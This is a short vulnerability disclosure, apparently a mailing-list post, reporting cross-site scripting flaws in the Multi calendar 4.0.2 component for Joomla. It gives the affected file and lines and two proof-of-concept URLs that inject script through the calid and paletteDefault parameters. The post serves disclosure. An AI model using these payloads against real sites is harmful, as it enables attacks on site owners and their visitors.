Hello, Multiple cross-site scripting (XSS) vulnerabilities in Multi calendar 4.0.2 component for Joomla! allow remote attackers to inject arbitrary web script or HTML code via (1) the calid parameter to index.php or (2) the paletteDefault parameter to index.php. File: /tmpl/layout_editevent.php Lines: 161 and 481 POC: http://site/index.php?option=com_multicalendar&task=editevent&calid=1";</script><script>alert('XSS');</script> File: /tmpl/layout_editevent.php Line: 319 POC: http://site/index.php?option=com_multicalendar&task=editevent&paletteDefault=1"</script><script>alert('XSS');</script> Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of Technology's Scientific Excellence and Research Centers. Best Regards.